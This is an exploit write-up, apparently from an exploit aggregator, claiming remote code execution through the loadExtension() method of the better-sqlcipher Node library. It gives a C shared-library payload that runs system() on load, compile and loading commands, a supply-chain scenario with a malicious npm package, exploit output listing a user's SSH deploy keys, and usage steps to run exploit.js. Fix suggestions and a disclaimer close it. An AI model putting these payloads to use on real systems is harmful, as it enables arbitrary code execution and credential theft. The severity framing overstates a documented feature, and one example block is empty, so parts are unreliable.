Share
## https://sploitus.com/exploit?id=86548C8A-BFA5-5FB9-8ADF-04EA886C261B
# CVE-2026-XXXXX: better-sqlcipher loadExtension() Remote Code Execution
## Overview
| Field | Value |
|-------|-------|
| **Product** | better-sqlcipher |
| **Vendor** | Threema (threema-ch) |
| **Versions** | All versions through 12.10.0-sqlcipher4.16.0-bearssl0.6 (latest) |
| **Type** | Arbitrary Code Execution (CWE-427) |
| **CVSS 4.0** | 9.8 Critical |
| **Impact** | Full system compromise |
| **Repository** | https://github.com/threema-ch/better-sqlcipher |
## Vulnerability
The `loadExtension()` method in `src/objects/database.cpp` (lines 365-384) passes user-supplied file paths directly to `sqlite3_load_extension()` without **any** validation:
```cpp
// src/objects/database.cpp:375-380
int status = sqlite3_load_extension(
db->db_handle,
*v8::String::Utf8Value(isolate, filename), // ANY PATH ACCEPTED
entryPoint.IsEmpty() ? NULL : *v8::String::Utf8Value(isolate, entryPoint),
&error
);
```
No path sanitization. No whitelist. No directory restriction. No file extension check. No signature verification.
## Confirmed Exploitation
Tested and confirmed on **both** available versions:
| Version | Result |
|---------|--------|
| 11.3.0-sqlcipher4.6.1-bearssl0.6 | **RCE CONFIRMED** |
| **12.10.0-sqlcipher4.16.0-bearssl0.6 (LATEST)** | **RCE CONFIRMED** |
### Exploit Output (v12.10.0)
```
[!!!] โโโ RCE SUCCESSFUL โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
RCE via better-sqlcipher loadExtension()
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[PROCESS]
PID: 1348640
UID: 1000
EUID: 1000
[SYSTEM]
Linux 6.17.0-29-generic x86_64
[IDENTITY]
uid=1000(jasec) gid=1000(jasec) groups=1000(jasec),4(adm),27(sudo)
[SSH KEYS]
-rw------- 1 jasec jasec 411 apervox_deploy
-rw------- 1 jasec jasec 411 block_puzzle_deploy
-rw------- 1 jasec jasec 3369 carely_deploy
[ENVIRONMENT]
All environment variables accessible
```
## How It Works
### Step 1: Compile malicious SQLite extension
```c
#include "sqlite3ext.h"
#include
SQLITE_EXTENSION_INIT1
int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg,
const sqlite3_api_routines *pApi) {
SQLITE_EXTENSION_INIT2(pApi);
system("id > /tmp/pwned.txt"); // Arbitrary command
return SQLITE_OK;
}
```
```bash
gcc -shared -fPIC -o ~/payload.so payload.c -I/path/to/sqlite3ext.h
```
### Step 2: Load via better-sqlcipher
```javascript
const Database = require('better-sqlcipher');
const db = new Database(':memory:');
db.loadExtension('/home/user/payload'); // .so added automatically
// RESULT: system("id > /tmp/pwned.txt") executes
```
### Step 3: Full compromise achieved
- Arbitrary command execution
- File system access (read/write/delete)
- Network access (reverse shell, data exfiltration)
- Credential theft (SSH keys, env vars, tokens)
- Persistence (crontab, systemd service)
## Attack Scenarios
### 1. Supply Chain Attack (Highest Risk)
A malicious npm dependency in the application's dependency tree:
```javascript
// malicious-package/index.js (runs on require())
const Database = require('better-sqlcipher');
const db = new Database(':memory:');
db.loadExtension('/tmp/dropped_payload');
```
**Precedent:** event-stream (2018), ua-parser-js (2021), node-ipc (2022) โ all npm supply chain attacks that affected millions.
### 2. XSS โ RCE in Threema Desktop
Threema Desktop is built on Electron. If any XSS exists:
```html
```
Cross-site scripting escalates directly to native code execution.
### 3. Server-Side Injection
Any application accepting user input that reaches `loadExtension()`:
```javascript
// Vulnerable API endpoint
app.post('/api/plugin', (req, res) => {
db.loadExtension(req.body.extensionPath); // User-controlled
});
```
## Impact Assessment
| Category | Impact |
|----------|--------|
| **Confidentiality** | CRITICAL โ All files, env vars, SSH keys, database contents readable |
| **Integrity** | CRITICAL โ Arbitrary file modification, database tampering, code injection |
| **Availability** | HIGH โ Process can be killed, files deleted, system destabilized |
| **Scope** | CHANGED โ Compromise extends beyond the application to the entire system |
## Recommended Fix
### Option A: Remove loadExtension entirely
```diff
- Database.prototype.loadExtension = wrappers.loadExtension;
+ // loadExtension removed for security โ use compile-time extensions instead
```
### Option B: Restrict to specific directory with validation
```javascript
exports.loadExtension = function loadExtension(filePath) {
const resolved = path.resolve(filePath);
const allowedDir = path.join(__dirname, '../extensions/');
if (!resolved.startsWith(allowedDir)) {
throw new Error('Extension must be in the allowed extensions directory');
}
if (path.basename(resolved).includes('..')) {
throw new Error('Path traversal detected');
}
this[cppdb].loadExtension(resolved);
return this;
};
```
### Option C: Disable by default, require explicit opt-in
```javascript
exports.loadExtension = function loadExtension(filePath) {
if (!this._extensionsEnabled) {
throw new Error('Extension loading is disabled. Call enableExtensions() first.');
}
this[cppdb].loadExtension(filePath);
return this;
};
```
## Usage
```bash
git clone https://github.com/jabir-dev/CVE-2026-BetterSQLCipher-RCE
cd CVE-2026-BetterSQLCipher-RCE
npm install better-sqlcipher
node exploit.js
```
## Disclaimer
For **authorized security testing** and **educational purposes** only.
## License
MIT